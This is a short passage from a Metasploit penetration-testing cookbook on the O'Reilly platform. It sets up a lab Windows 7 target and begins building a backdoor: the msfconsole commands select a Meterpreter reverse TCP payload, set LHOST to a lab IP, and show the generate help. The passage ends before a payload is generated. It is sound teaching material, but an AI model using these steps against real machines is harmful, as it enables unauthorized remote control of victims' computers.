Getting ready

For this recipe, we will target the Windows 7 machine. For that, we need to change the network configuration of the virtual machine to NAT, so we can access the target from our Kali Linux machine.

Then, to compromise the target, we will create a simple backdoor that we will copy to the target to get a Meterpreter session.

  1. To generate the backdoor, we will use a Windows Meterpreter reverse TCP payload and the generate command within the msfconsole to generate our payload. Before using the generate command, let's see the available options with -h:
msf > use payload/windows/meterpreter/reverse_tcpmsf payload(reverse_tcp) > set LHOST 192.168.216.5LHOST => 192.168.216.5msf payload(reverse_tcp) > generate -hUsage: generate [options] ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.